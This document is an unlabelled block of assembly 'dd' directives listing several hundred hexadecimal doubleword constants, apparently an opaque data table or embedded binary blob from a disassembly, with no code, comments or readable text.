dd 0CB61002Ch, 535A6CE7h, 16000144h, 0C1A7F5F1h, 94902EC9h
dd 2D300922h, 693E287Bh, 2705715Ah, 11D0FE53h, 0F9FC1294h
dd 4591096Eh, 80492579h, 8A1F7001h, 9E6A7D68h, 7397DC75h
dd 793F0920h, 973D4702h, 4A5F9DC2h, 0FADF04F9h, 5A88F6B9h
dd 258A2DBFh, 0E004560Eh, 5B040DFDh, 2B6480B0h, 97DDB5h
dd 70E661F2h, 0E1D70181h, 0E430A0BDh, 0F7F36B71h, 97DEA240h
dd 6727F226h, 0F97FEF4h, 0AE896AD8h, 8930F749h, 0C189039Dh
dd 4E1B233Ah, 8AD832BBh, 5B049243h, 0A49D403h, 0EFA2D0AAh
dd 0E62221A5h, 0B7520B26h, 79445B9Dh, 0D63C9500h, 2DC1A3FCh
dd 0C82B0C8Ah, 69ECD18Bh, 3BA91D4Bh, 9A5FFC89h, 51BC04Eh
dd 1C898814h, 80CA5B95h, 0E2BC208Eh, 0AC09B3AFh, 6F3909h
dd 3ADC53E8h, 5D1D1C50h, 0F88B4921h, 4D9DDB02h, 670B0A9h
dd 0A4EC604Fh, 21D68BCBh, 84229B4Eh, 0BB008AA2h, 7CF37889h
dd 2C009F7Fh, 0DFFC920Ah, 9E22BF8h, 9C0B794h, 0AF133804h
dd 231A5432h, 0B5E5FE9h, 4BDD31A8h, 5FB0D0F3h, 3934B589h
dd 0C5EB931Ch, 5362C871h, 0E0B70E12h, 342123F2h, 8869A88h
dd 79AD03EDh, 0D90E00C0h, 5685C3F4h, 1714C412h, 0E35F160Ah
dd 26577802h, 18DAE235h, 890186B9h, 3B612FF5h, 4B050CCEh
dd 0ECED6ADAh, 0CDEF46E5h, 0D380E490h, 15F5516h, 0F5034009h
dd 0C1F8B414h, 2AB91E40h, 129908AFh, 0F221DD85h, 92BB0330h
dd 0B50A20A4h, 0E0E39C02h, 0D4E9E272h, 0C02B8C9Fh, 1297D8BEh
dd 0CD3E82BEh, 85305D2Ch, 0D009733Ah, 7382996Fh, 816D69A2h
dd 23EB9B40h, 1F5527BDh, 0FB4355CFh, 1F1C809Ah, 0E2FF0C92h
dd 61CA3AE0h, 56654297h, 775C27B2h, 9DA412F4h, 693E011Ah
dd 2B28E5B3h, 1CC821DAh, 37832DC0h, 0FB7A0018h, 0BB2E0315h
dd 1225DFDDh, 77D0CA75h, 0A02993Dh, 0D06CFCF9h, 0C1E253Eh
dd 7C7A1379h, 7500D4E6h, 5A7F51EEh, 0F4E1F264h, 8A5B4BFCh
dd 0F92525EAh, 61B89235h, 2B1BB13Ah, 0B80CD9Ch, 0E1FF8FEBh
dd 850490DBh, 0C9B82E09h, 7B03D2E1h, 826DD8h, 1665871Dh
dd 63DCAAFDh, 5F9AC812h, 0CF84BAE2h, 0C2129E03h, 414E014Ch
dd 3C2EC9CFh, 79E968B5h, 17AAE864h, 3EB37FCh, 468D4F1Eh
dd 2EF960D9h, 0E6129616h, 0A80175B1h, 0CC6A2329h, 0F589DA79h
dd 0B750312Ah, 0FE302B8Ah, 161CCB81h, 0B37877D5h, 3019F2DAh
dd 0F29D1ACDh, 8D313947h, 6A08B0DEh, 806AB797h, 8501A66Bh
dd 4AD310D9h, 0FE0286F2h, 15BA2DF1h, 45F3E857h, 7DC9075Eh
dd 90ABF4E1h, 0CFFDFB68h, 0D4819737h, 0D84F0623h, 0F3E5B529h
dd 0CCE8742Bh, 0E1006879h, 0B86A19F9h, 0EFA0B5h, 0E74FB926h
dd 1AFCDF20h, 0F3C5AC4Ah, 0E97BFEh, 5BA2C1DEh, 4EEA373h
dd 0BCE9F9D7h, 59FC0901h, 7E5EA5C6h, 0E85B1810h, 0D2A1D2FFh
dd 0D69ADE2Bh, 1B181B8h, 0ABC3449Dh, 26843375h, 0FCC4B2A8h
dd 3E01AE89h, 77B7E010h, 0C817DA6Ah, 8809C015h, 89259D33h
dd 0F81D7331h, 0F6013B33h, 1ABFE2ACh, 0DA60BA8Dh, 0B9600150h
dd 79F9D473h, 74B6861h, 2B4B5FBBh, 0A58C5929h, 0D407EFF9h
dd 607FD235h, 0B4B1CE66h, 9E7A40h, 63540764h, 986AF9C0h
dd 51BD3109h, 0C51C5516h, 5CD88A25h, 0D6414967h, 0FBECCF0h
dd 0CD61C43Eh, 64FE2594h, 0A4E4A368h, 0D0BF845Fh, 33A234h
dd 6E1EA98Dh, 0E26A6336h
dd 0F6584E61h, 2BEBE04Dh, 0D67B909Dh, 8850A9BCh, 609E800Ah
dd 0E227B17h, 0E4376F00h, 32ECBBEBh, 0F1735AD9h, 5256006Bh
dd 5F4E5B56h, 6CC0029Eh, 0A13AAF93h, 0AC54B209h, 21097F38h
dd 46D6095Eh, 0E4AC5A19h, 5A0B89CBh, 9B618585h, 66B4C087h
dd 1314320Fh, 0EE8764B5h, 0BF526A30h, 6EA70993h, 0CE595B35h
dd 0D9096063h, 44372861h, 97F83B00h, 396F7050h, 2759E500h
dd 0C249FC84h, 25D07FC6h, 0DA456152h, 5B252F1Ch, 0F45BD079h
dd 589C957Ah, 5CB1C009h, 849D6469h, 693BAB39h, 0A77EE6E5h
dd 60E131E0h, 81DF3970h, 3612333Eh, 0D6C10407h, 0A1A3AC0Ah
dd 0BA05041Ah, 71E53D1Dh, 4407C446h, 61FE27B7h, 2B2BF752h
dd 7BFB7713h, 1FB64AA0h, 9832BF02h, 0BAD57EA0h, 55357F80h
dd 0E3C40125h, 0CD76053Bh, 919D8B02h, 986C121Ch, 9CC92F00h
dd 0B574FCA1h, 3A730044h, 64EBF52Dh, 0A501486Dh, 9618725Ah
dd 22605060h, 59C22EE4h, 27BA60E1h, 7D00D66Fh, 86C0EAD8h
dd 0B5959ADEh, 96F9F1E0h, 742B7B5h, 0A08CEC0Fh, 0F6500DEBh
dd 1BB39B14h, 29DBD7C6h, 34D1B3C2h, 0BF605D56h, 561AFA30h
dd 5016CA75h, 0D712E857h, 0A2ED12EAh, 0B69B4E35h, 0F2F49C87h
dd 9770348Ch, 66F04B25h, 0A9F84B55h, 8C17AC0Ah, 2D52320Bh
dd 8684575Dh, 38A0122Fh, 45952F09h, 50259E5Ah, 0C2314D20h
dd 385F8AB8h, 25BD2941h, 38732CA5h, 0AF25C5A8h, 1E4266E7h
dd 574D381h, 0FF6A331Eh, 80DE6D9Bh, 2EF02795h, 0E3121258h
dd 7BB8F694h, 1670154Eh, 0EC2DAD4Ah, 0F9764B42h, 6D24D774h
dd 0E01CC0FAh, 0C9004AE5h, 741C27A1h, 0B679795h, 0D88B070Bh
dd 0FC49F5D9h, 302D4F5h, 0D62682E6h, 0A6667FB6h, 7AEB810Fh
dd 0D94C6976h, 0BEDB81D4h, 2FCCA76Ah, 0FA69DD20h, 44090361h
dd 0B9DED757h, 0CDD372A0h, 4AAD5F5Dh, 1BAC12B9h, 0F948008Ch
dd 0A14FA3A2h, 6DB5EA2Dh, 60176499h, 4A543B39h, 355FCAF7h
dd 0DBEE2648h, 51FCC05Eh, 5624BFDh, 29467A25h, 0C8835350h
dd 773C5FDDh, 239000BDh, 60FF20C7h, 0D17F00AEh, 3076C568h
dd 0B06BE0Ah, 1B3D8D89h, 0DA5B4B9Ch, 0C31AC8B8h, 0DA908D1Ch
dd 0BE4DAC92h, 879F1213h, 0E72B98B5h, 0E08CA371h, 25DC95E7h
dd 0CC6C790Ch, 2142E5ECh, 8BD1A131h, 99E32FBDh, 49A4984Ah
dd 0A5625B9Ch, 8E3DD703h, 0B920B100h, 38A116F1h, 0E35FC6F6h
dd 7E6700CDh, 0A84729E7h, 93AF2CC2h, 16710867h, 8B085B12h
dd 0F98A8902h, 0F37ACE56h, 3667512Dh, 36E91602h, 2746DEACh
dd 0BA764FB0h, 0CDFE8074h, 854A1D90h, 0CBFCE8C8h, 4B29FD12h
dd 42F6957Fh, 9482B055h, 770B2BC5h, 5B90630Bh, 0FB008C79h
dd 9F820977h, 0FC0C2CC9h, 8E3800EFh, 24CBB0BBh, 7596310Fh
dd 0C14A4227h, 0AF140829h, 5F615898h, 0A0B42090h, 1A0EEE9Ch
dd 40B532D6h, 4BFA1BD2h, 0A407B691h, 0FE962FCh, 3F007327h
dd 0D5A45Ah, 0C7ABBD20h, 0DDE9C3F8h, 0B3A0665Bh, 169A0E18h
dd 69E43106h, 30B3AB07h, 80DAE9F5h, 0EC61E7C6h, 2F7B7D1Eh
dd 124690EDh, 23C14100h, 0B23EE046h, 42C83D9Bh, 0D5800D3Bh
dd 91C95AC2h, 504A5BE9h, 5106E996h, 6E7F87F3h, 82913D07h
dd 0D5DE5B9Fh, 0F4DA5C62h, 510F558h, 5457773Ah, 3B6E21ABh
dd 4C296ADBh, 0B2606492h, 41E10B47h, 61D90432h, 0BBC71BB8h
dd 79FE5217h, 0B360195Ch, 90D1FFF8h, 1DA52760h, 0D772B154h
dd 2CD6CA4Ah, 689E02DCh, 0BB63BDA8h, 7A496657h, 92D14B2Bh
dd 0B5302BCh, 52A13270h, 0DF34E33Ah, 0A1B2AB07h, 27ACE549h
dd 9909BD90h, 7F138F96h, 3776FF09h, 1746D6h, 0C69E7368h
dd 5D9D0BFCh, 0E91276BDh, 0E1F7AC57h, 0C0049A22h, 5B84DB25h
dd 0AD71BBEAh, 8ABC9895h, 0C8505AFCh, 0F3009EE0h, 0BAB2974Ah
dd 24E33704h, 2CF8146Bh, 0ED6C6034h, 18255B11h, 0BC6CF15Fh
dd 957AAFCAh, 105923Ah, 0AB10198Dh, 0E76DE429h, 9700E2B8h
dd 4921751Ah, 957AB3FDh, 6D5FE39Ah, 0AF82E0B5h, 580A98D3h
dd 598529CCh, 3E9D010Eh, 790F7365h, 0B2181Bh, 0A94EEF18h
dd 29F07499h, 14F59D18h, 9D0BFF53h, 0EA265EF9h, 572DB90Bh
dd 0F0007BDh, 80AB5D4Fh, 172A5EDBh, 0B6EA12FEh, 878A7910h
dd 907B093h, 560469EFh, 6054AEF5h, 19A99589h, 0C9655C95h
dd 60A50771h, 9FFBB714h, 0B9339287h, 0DC641372h, 12B8FC31h
dd 0AFAA75Bh, 394580EFh, 1549B561h, 2ACE66Eh, 7D362CBFh
dd 8AB7C352h, 64C7F0E8h, 8229B9B5h, 58090ECEh, 36689017h
dd 6A13116Dh, 2B770A0Bh, 0D17A84C8h, 8527A580h, 97DAA4E9h
dd 8B4DD610h, 7F6C7A00h, 59B350Fh, 0B00400CDh, 60EA781Ah
dd 85BDA2E3h, 0A0C25BC5h, 0F791A959h, 0AA053B04h, 0A02AC29Dh
dd 99952802h, 834C11DDh, 0B8F40BF3h, 0E4E445E9h, 2D7C589Dh
dd 0F95C33ABh, 55B5363h, 7FF2C830h, 3429AE24h, 403CB33Fh
dd 8328DACBh, 0FE1820A5h, 9DE0CF80h, 0D9F9BFE5h, 9E926120h
dd 0C1C83095h, 0B6165E17h, 0B412F072h, 9D0501EBh, 4F3929B1h
dd 44116B67h, 0B4BD4A88h, 0F618C4E9h, 7B1D301h, 7367CF9Bh
dd 0F8E8302Bh, 84B35B9h, 3BE823A9h, 8D84660Fh, 16D0E474h
dd 84ED4E83h, 608706B8h, 4445A529h, 0AA8D03FAh, 0FF61D9A0h
dd 34B8C96Dh, 5CCB0800h, 70429180h, 0DFC9501h, 5FC2B871h
dd 0E081E4BDh, 0BD095E48h, 16A7A82Eh, 0EE8D22Bh, 4B47DB4Ah
dd 7304076Ah, 0ABAC27B1h, 9C84D663h, 659D8941h, 2A662E03h
dd 0D385792Eh, 0C8AE9A16h, 10B2C719h, 62D159C7h, 0C009CE96h
dd 0AD097347h, 0C912EBB5h, 1B8010BCh, 3395788Bh, 0A6685C05h
dd 0A904FF42h, 14B8B64Dh, 1D23BBh, 0C4A1D45Bh, 0A301A059h
dd 2B50ED45h, 9850A59Dh, 4ABD8957h, 2B5EE181h, 9FB8212Ch
dd 54641DCFh, 2DD522C1h, 31E79904h, 0A8A57E71h, 935364AFh
dd 98E32BD8h, 0B5F77CDBh, 0B59E34CEh, 4A7B09D4h, 0A5DC878Fh
dd 816FE1C5h, 2360F302h, 0D4640585h, 11278497h, 60615E00h
dd 6E16C880h, 5EBFB523h, 0B4C5E5B9h, 0FF7ABE1Ah, 46E081CDh
dd 256558A7h, 7456F841h, 2544C0D2h, 74599515h, 0F7ED5F52h
dd 3F6F4640h, 25B73960h, 14BE6680h, 0A7CC805Dh, 3FBC6171h
dd 0DCCEEB41h, 0E1C1EECh, 846FBDDh, 9B604F84h, 8A42C0F0h
dd 4EBC8467h, 99E08E6h, 6C7B1A28h, 5DE70997h, 33C199EDh
dd 58885EEDh, 0C2252315h, 7089530Ah, 0D709B183h, 0FC90FEC8h
dd 3088C458h, 9721DDB5h, 75403799h, 0CE911BDEh, 0CAF92160h
dd 89701E63h, 5FF6123Eh, 5B2AE773h, 0DD00F96Ah, 0C48A615Dh
dd 0F3011248h, 5A3BB9Eh, 342F20B9h, 80C7EC84h, 0DC77F89Bh
dd 58E517BEh, 28D88D50h, 9C9B4F42h, 51900680h, 0C01EAAA9h
dd 98AB746h, 5549A495h, 2DE021CDh, 174A383Bh, 58922Eh
dd 688B17CEh, 0AE2740BEh, 6FC0118Ch, 0B07BA820h, 41C8C032h
dd 0BB7370C3h, 0B1854909h, 0A7AE5B77h, 0A85009D3h, 4470B55Bh
dd 0FC93B6h, 28637CD7h, 151CD69Ch, 6A87BE4Fh, 0C0BCDFC4h
dd 42EDA55Bh, 90B01DCh, 0AD9D710Fh, 2F3495C1h, 70239772h
dd 721497EFh, 0FFC0F698h, 0B127C381h, 0E6285AAFh, 3016B2ADh
dd 491DA113h, 10ED0689h, 0BC924Dh, 0DB904F4h, 58949DA6h
dd 22F9C81Dh, 5C5F7749h, 0BCDAC42Ch, 0BF530188h, 0FA67880h
dd 1556C07Ah, 0E2BF1639h, 0F4D5522h, 13CAEE0h, 6BA302DEh
dd 0FC69DF80h, 8B67875Eh, 0C8B468A3h, 0C3815D62h, 7DB64B6Ah
dd 716EAEBCh, 9010C800h
dd 0DFDE857Bh, 81512A00h, 67FCF5F3h, 805B0527h, 0AF8DAED3h
dd 4C80BD64h, 0E95026B3h, 74C2A635h, 5C7EEBE6h, 9183D08h
dd 0BC71615Fh, 1DE2076Bh, 0C7D65979h, 3D5F092Ch, 9972028Eh
dd 5950A0AFh, 9020E925h, 4B73E3AAh, 0B9A08EFFh, 0BDDFC097h
dd 972B8EFh, 0B09ED5E2h, 0BF93985Fh, 9631383Bh, 34A38A4Bh
dd 0C72C63BCh, 9E6FFBAFh, 2A0F80A0h, 161BE467h, 0ADF82084h
dd 1AA9C47Dh, 9D2B0B12h, 0FEB59EC9h, 8BEF3DFFh, 7EF66058h
dd 0E2B86601h, 8AE16147h, 0C08DFD2Eh, 554B9EDEh, 0C616253Ch
dd 9D04195Bh, 1E1321BDh, 40031145h, 0F992FACDh, 10710DBBh
dd 4A4E1660h, 0C4D3AD9Ch, 2DAA19A5h, 0D0DA3BC5h, 8F663483h
dd 59A9AD46h, 0E4BFBC76h, 8DC24BE6h, 4E63E99h, 15DD2D7Ch
dd 3569E859h, 5F5685DAh, 0BAC112C4h, 1A84185h, 9A4300AAh
dd 4986C5B8h, 41B1364h, 88378D60h, 90DD9DAh, 0B170F861h
dd 9D29561Ch, 52AD416Ch, 6CBDE6EFh, 0A9A6EF79h, 0CCB2345Ah
dd 80DB9AD2h, 793EC9B1h, 0D75F05DFh, 0EC664D96h, 0B8CD4A1Dh
dd 99EDEC2Eh, 4B226A1Ch, 0B247F64Fh, 0F8E83117h, 0E09DFAB0h
dd 0A171143Fh, 0A1006E0h, 7EFE84A5h, 1DD41C58h, 1009EB5Ch
dd 208D735Bh, 19C5209Bh, 0B289964Bh, 7A93F0h, 7D0B75A4h
dd 670699BBh, 26EEF004h, 0F052540Ah, 0A22EAC4Dh, 0D5121996h
dd 6B2B9CA1h, 17236Ah, 9549894Ah, 215B9D2Bh, 0D1F6BB17h
dd 0AC3015B2h, 6A1497F1h, 0F03A3645h, 5682016Bh, 0ADCDA74Ch
dd 47BB93C0h, 13B40A9Ah, 28D9CB01h, 1DB52540h, 0D12558C5h
dd 0A1B7005Ch, 4A42B345h, 0B4D44000h, 987D16E5h, 0BB7925D2h
dd 0BF0546C6h, 2257D4D8h, 85222AAEh, 0C1F07B0Dh, 443897D9h
dd 0AF872DDDh, 37A590DEh, 0B2D023Bh, 9FF48DD5h, 0AB675B49h
dd 93A558CBh, 9FBE3600h, 0CF081855h, 0DD8A28EAh, 0C95164BEh
dd 45CD88C6h, 5B3204Ah, 0DA31BAD7h, 0A2C69D0Bh, 55FEE9BBh
dd 104D0B8Bh, 56D165C0h, 78390028h, 80B49083h, 0C4975AE3h
dd 12C400CBh, 0A385FEB7h, 0A04AD618h, 5E546FEEh, 720B77F9h
dd 0E7D88BB4h, 739D094Bh, 0B59366F2h, 42700C4h, 903724h
dd 160F0AA3h, 6A4BE8A7h, 74BC04B9h, 8B6A7309h, 40FC6FDEh
dd 9618636Ch, 2F9F3817h, 820FD405h, 7E68AAFh, 3F9C1FC6h
dd 22B40B40h, 0D4ED0E41h, 0AB059F03h, 0E6C1AF58h, 5B021CA9h
dd 846A9F87h, 8E6FBB16h, 2151D800h, 0EB168CDh, 81ADBC5Eh
dd 4BB521Eh, 0FE120716h, 0B705FA82h, 39F19DA0h, 50C5B785h
dd 8089AC52h, 5940A54Eh, 544312F4h, 41BB53Fh, 8031018Dh
dd 696A4CC7h, 9B6BC65h, 513C5E6Eh, 52684E1h, 0B95E09ECh
dd 1A2BCC7h, 0AC48AEF3h, 7EDA354Ch, 8123D0E0h, 96322EF9h
dd 69925CFCh, 0C4002DD1h, 0DB40177Fh, 4F743E8Eh, 775CF2A5h
dd 3A9AB500h, 97ED5A6Eh, 0C5FB4204h, 1247F8D2h, 0ADE31129h
dd 2424F88h, 0CC027F60h, 610219D1h, 3BA8C650h, 0FA8187DAh
dd 0D3DCBA1Ah, 8CCAF837h, 4EDFE200h, 9389BFD9h, 0B93F4AB7h
dd 16EBF8A0h, 6046B3FCh, 0F28E9F2h, 48521697h, 0DF5D6274h
dd 95CA5BCh, 801D20FDh, 95346DF5h, 3BA4305Bh, 50257511h
dd 990388E4h, 2A10C2FBh, 0AC91A082h, 0FD6362C7h, 0A1C2BF66h
dd 46DC4256h, 3D0C001Bh, 7CB7A0ADh, 0DC1C7A43h, 5F17495Eh
dd 31024773h, 5C0E61B5h, 0F9BA5320h, 2D46F889h, 13BCFB58h
dd 7AAB2D69h, 0D476034Dh, 8C15BDD2h, 0A01D31C2h, 0DE8A6094h
dd 0FEB19561h, 0B0FC110Ch, 7A60993Ah, 832A21B0h, 19814810h
dd 8870E612h, 5578670Ah, 0F28C3A00h, 0ED2094BBh, 0C0F89746h
dd 0F812BF04h, 0FFAD4039h, 9971D525h, 551DA8Bh, 0F74BD9A3h
dd 41F55459h, 0CCC3ABBh, 0DC5B4C51h, 0B125C4Ch, 2FCAE5BDh
dd 950D6EC6h, 60560389h, 50FA4025h, 0C82B2D5Fh, 1266B250h
dd 0D710D133h, 9B9ABD36h, 0D649E54Ch, 4B8F5689h, 19012206h
dd 0A7E67197h, 2515F1F9h, 55038994h, 18B12CB0h, 0BCF59B95h
dd 0B4DE947h, 32C7C356h, 0A270FF57h, 17757FF2h, 0AB0B9FF4h
dd 37AA5217h, 81F9641Ah, 2B7D613Ah, 0FCB3FA17h, 517CFC49h
dd 0E0DE18A5h, 0CA14E539h, 316995A9h, 89D4BA46h, 553481FEh
dd 0F2162C94h, 8FE61621h, 8D879F2h, 2B540541h, 0B95A62ECh
dd 5C61E855h, 0E1C06F6Eh, 0D2C6A41Dh, 0DDCB471Ch, 0D6525625h
dd 0B10B1746h, 64029B83h, 0E0AEB98Dh, 0F786BE92h, 2D392D16h
dd 0D32F325Bh, 0EBB650E0h, 9E04D3FAh, 0FC697245h, 0CBE470E6h
dd 6DBB013Ah, 0B859463Bh, 3345C2h, 0E49E6129h, 7C0744A0h
dd 9189E25Eh, 57CDD9B2h, 50E9604h, 0D79BD22Bh, 9DCEDAC0h
dd 9728D0Ch, 512CC536h, 0B61E5A5Ch, 0D088D311h, 79B3026Ah
dd 0D17227Ah, 0DB708CF3h, 0D87E5076h, 442F5F21h, 0B877ABFFh
dd 8052802Bh, 9E5B0BD7h, 0DEDCE935h, 0C63400D4h, 90C49262h
dd 0BD71290Fh, 44056FB5h, 7AD86019h, 730C0BBBh, 8202F502h
dd 59290D2Dh, 0B5557225h, 0E9DA0A9Ah, 15DF0B09h, 0BB807204h
dd 22727020h, 78A9019Fh, 0F88B9B93h, 0F2FD66C7h, 4067D46Fh
dd 0CDA7A149h, 2E789E00h, 69EFC990h, 0A07F3FB7h, 3B040E09h
dd 0EA4B5A71h, 0E09C6D18h, 0F5395FA1h, 59982DE6h, 0B896A495h
dd 0B3F82DF9h, 9BDDE03h, 0C0813CE8h, 1285DF30h, 0E3FE8B46h
dd 15094E5Bh, 0AD3C712Dh, 2101FF35h, 628077ACh, 97DE0260h
dd 0E9202814h, 25029804h, 68562C85h, 26A7F171h, 16DEACD6h
dd 0FF5FF120h, 2AAC6A24h, 6F558BA2h, 0A09B60CDh, 89122B95h
dd 51308608h, 0E8C1C9Fh, 5352B0ACh, 0A1B4E0C0h, 0C4001B24h
dd 0D30466BBh, 1760109Fh, 528DBD31h, 3A04B109h, 75013A6Eh
dd 7818E57Eh, 52D57E98h, 4EAE37E0h, 0AC5884B6h, 2AB2D30Fh
dd 7CF47407h, 2A9BA06Eh, 7100B77Bh, 0BAB8D9FAh, 0F5BC67F2h
dd 8474F23Ah, 0C8AA652Fh, 58AB898h, 6BABDBF6h, 17235Bh
dd 0D96B3666h, 0FD4AC780h, 8941D4CDh, 90001DF5h, 50385360h
dd 0A5A2CF58h, 0EAC17A12h, 7C787D8h, 0C08A452Eh, 0CC1372E6h
dd 5B6333DCh, 2140C561h, 7E9E9B18h, 3573D8h, 1E9CF0A5h
dd 3812D7EBh, 6846DB0Bh, 67CCFEE0h, 4174C0F5h, 0F8002DCFh
dd 0B9C6DD09h, 97905B2Fh, 8FC0704Dh, 0FD7110h, 8F0F12Bh
dd 0EB81FB57h, 2F65780Dh, 86015651h, 0CE2A12C1h, 60035A38h
dd 5C8BA177h, 2B839763h, 0ACC199F5h, 4F77336Ch, 33C021A3h
dd 412BADB6h, 8B5F5413h, 0AF3C1CBBh, 0FE004DD9h, 0EFA4240Ch
dd 80341C5Ah, 44FA7779h, 0FF01FF63h, 6159BBB1h, 204B1B32h
dd 6DE5D5DAh, 0BDA13F04h, 2DC2A6E2h, 0E5CAF595h, 46D64956h
dd 0E76C0218h, 0D8D1D577h, 0B21F5A53h, 57ADD2D4h, 695B77A8h
dd 0B5EA88h, 0A9CE6E66h, 8E59BA19h, 2872CA00h, 5ACF78F5h
dd 42F2494h, 5B1711A4h, 0DB00A2B2h, 6BC0E5B6h, 42003373h
dd 6C491ECAh, 2BF6674h, 0E95B7694h, 1155019Ch, 0DD6A2132h
dd 0B06E7ADAh, 0C082F000h, 0B7341FAEh, 12FF604Ch, 31BD1A75h
dd 258C15BCh, 0B1CC51BCh, 0E3A9BD4Fh, 0B2D9A65Ah, 75F5301Dh
dd 0EC68F200h, 4D63CF57h, 6892DD1h, 0B6D60E56h, 3F6AC272h
dd 5AE8F663h, 5C2FB8DBh, 1D6451h, 57A32A73h, 6AD6022Ch
dd 77D48F50h, 7AE0C54Ah, 0A4A99D8Dh, 720009C4h, 20BB1EACh
dd 4841723h, 89D5E16Ch, 0F8869846h, 0D8F65F00h, 0E11F813Dh
dd 0DA8B2796h, 6B8FEB03h, 0E0B760C3h, 6168ACC8h, 5A2D5BB5h
dd 500D46Eh, 21E4A52Ah
dd 1638F68h, 78BF5B0Bh, 2E7C6082h, 0CF70F40Eh, 8B449E14h
dd 44EA319Dh, 0ABC2BFF1h, 0DD417699h, 50021B51h, 0F652987Fh
dd 0ECFABDh, 2BAFAAEEh, 0CB71D67Bh, 5372D704h, 0FC4F9B7h
dd 488B91E4h, 0DAA4FDDEh, 0D79FC0CFh, 13FEB5D6h, 6F61E9FBh
dd 68D301C5h, 1103C687h, 3BF217C4h, 8D8C6042h, 819E0A2Dh
dd 0BEAD139h, 56613B56h, 36DB7AC0h, 73E49550h, 27A22551h
dd 2E168AC5h, 0CBCBDCEDh, 9D9E6700h, 0E2010A1Ch, 5BD465BDh
dd 0A92A1DFDh, 2CE916F6h, 852A6EA2h, 8B0F2DB1h, 4B2580CCh
dd 5C53E7E7h, 180973B0h, 556872CEh, 891CF9C4h, 592DC5BDh
dd 4DBC27Dh, 40746F75h, 0A5B52950h, 102A1E41h, 0A9B3D27Ch
dd 7ED645Eh, 0B600F3BCh, 0C53CD26Dh, 25A5CE12h, 0AF6D5B56h
dd 4F601864h, 6625C13Ah, 0A73A7BF2h, 0F752B6FBh, 0FB5FCDCCh
dd 1E4238h, 0DB6B2868h, 0B56CB88Bh, 0E7CC4C09h, 8A89DD17h
dd 6F950E70h, 5E546BC1h, 0A7757325h, 4D4967Eh, 0A5E6ECE9h
dd 2517A8A8h, 799662FBh, 0E89000CFh, 8C82846Dh, 0F0735A0Fh
dd 5C20CB3Ah, 1D46D692h, 38511100h, 3FAE2010h, 0FE30B82Dh
dd 1FCD0893h, 4BEAF02Dh, 5ECECB17h, 0D000D36Ah, 80A04096h
dd 0B8023635h, 758D31F1h, 0E6807410h, 89B77801h, 0BDB55568h
dd 0E180D5A3h, 0B1BB7E8Bh, 6063134Dh, 4BC9B850h, 0BBE9D984h
dd 3013DCECh, 9FDDB1F0h, 0E06A2Ah, 9F4B78B1h, 250B5218h
dd 0C5E291C0h, 2FF87A61h, 0EA6FC012h, 849D9601h, 3AE00B32h
dd 0F9C958ECh, 0EDABDD7Bh, 0F1B458h, 608FEE8Bh, 5F080EBFh
dd 10224548h, 613B2B19h, 0FEE2D5CBh, 8FC0089Bh, 346C0959h
dd 5F5C822Eh, 36D5CA60h, 51330B18h, 4F54548Ah, 7D71BDC2h
dd 0B0D74C6Ah, 0B9810F29h, 8E2D3BAEh, 0F4CB01F6h, 0F9211329h
dd 0DA1ED83Bh, 75BF0496h, 0FF017FA7h, 22068Ch, 0B33EC3D7h
dd 0EA2A080Dh, 0E6DE3A01h, 964B0A77h, 0EAF2FB36h, 2830E65Dh
dd 256A9D33h, 0ED3F1B3h, 0FF181B59h, 859C0D01h, 964DC6A9h
dd 0F0B313Ah, 0D9B54983h, 251D238Dh, 12FCE5D9h, 4070FF16h
dd 9A7993h, 0CB3606B6h, 0B45C3F72h, 70B35012h, 0F9D6D7BCh
dd 1206EC0Bh, 0F3B07F47h, 0F0E656E6h, 9F8087Bh, 13DB805Ah
dd 4D2452F4h, 55025CA7h, 74AE4E12h, 0F76AAE6Fh, 48CBB40Eh
dd 6F82B980h, 0AF9C1A7Bh, 43B0E74Fh, 0C4768929h, 4FD2002Bh
dd 5587CD06h, 19004710h, 3D3AE378h, 14AD59BBh, 0DEA54284h
dd 5F5B8870h, 46982BA8h, 392DF4F0h, 5AF1546Ch, 8180D2F6h
dd 8099F7C3h, 3B1A9D38h, 1311DFE0h, 0F22A8981h, 0C6611A5Bh
dd 8490FD3Ah, 0A0036581h, 2D71E0FFh, 0CD2E103Ah, 515B1309h
dd 457EC8h, 0BE553DC4h, 15DAB13Ch, 70AC4C04h, 3DAF5B4Bh
dd 0FD6A3B99h, 0BA77160Fh, 0B8698056h, 9F48E990h, 890971B9h
dd 7D1691B5h, 8FB47BE4h, 38800D4h, 27B2D233h, 0F84E8AF9h
dd 9557238Ch, 905FB560h, 50AFB316h, 0AFDED7ACh, 0C8C0E3CDh
dd 0A200594h, 0B75AD88Dh, 0EAED15D0h, 676FEB4Bh, 0DA6AE84Ah
dd 6184F542h, 0ED0C1812h, 0E07E8323h, 5B16BA2Fh, 0AF6278CBh
dd 3DDE3300h, 6D950977h, 9DE49528h, 90800495h, 0F558CCAFh
dd 6BC76400h, 49701A38h, 6FC800BEh, 0A011B041h, 5012A1EBh
dd 0FEAC5152h, 0ABD2354Fh, 8D298941h, 881A19D5h, 29C1CF17h
dd 2F6A055Eh, 0DDF05FB6h, 0FB02A50Bh, 0E9D2FD4Eh, 0B4DF290Eh
dd 0FA2D4ADFh, 0CADA1A32h, 60E85C70h, 2AE9B529h, 946EC6B5h
dd 0F600D41Ch, 0AEFE9E1Bh, 50ADFA6Dh, 4B3DFCE7h, 22F5CE30h
dd 82E79D79h, 0A18D31C0h, 92E69517h, 2559C693h, 16859C8Bh
dd 28C6E96Ah, 5A1F5400h, 0D8560184h, 61FDFD9Dh, 0BF500280h
dd 78AA0802h, 95019009h, 4414D7D1h, 7F870F2Ch, 0E0E2F6ADh
dd 3316A769h, 5675E92Fh, 21937117h, 1EDB6A8Dh, 13C2E4C0h
dd 0DB02C597h, 0E1BD019Dh, 89FB5422h, 9ADD3462h, 69295EA5h
dd 0F127A874h, 0F0DC00C4h, 0A0E641CDh, 0DF9C6997h, 0D7C1BF10h
dd 907D8113h, 0F68D7C98h, 0FE51B518h, 16E3D16Bh, 0E625EF23h
dd 93CDDBBFh, 0D59AD8h, 0A2B8076h, 267DACA7h, 0C4B2DE9Dh
dd 5D2AAFDFh, 0DD662280h, 1617CCCDh, 438CBE96h, 0FFA6003Fh
dd 0F8407E56h, 0EE00ACA2h, 8C46B76Ah, 0B7BB25Eh, 2965B509h
dd 0FFFE7EFAh, 0D620E950h, 13D8BC00h, 2B9BF3A5h, 3DDF0067h
dd 62CFF00Eh, 3EB88401h, 5C311927h, 0AC00F49Ch, 31F78CB5h
dd 9D72EA52h, 152B8331h, 0D4357883h, 5F3AB009h, 0D2CD0277h
dd 7FC055E3h, 7148E4F9h, 78C9C09Bh, 132B87B3h, 0A4E694D3h
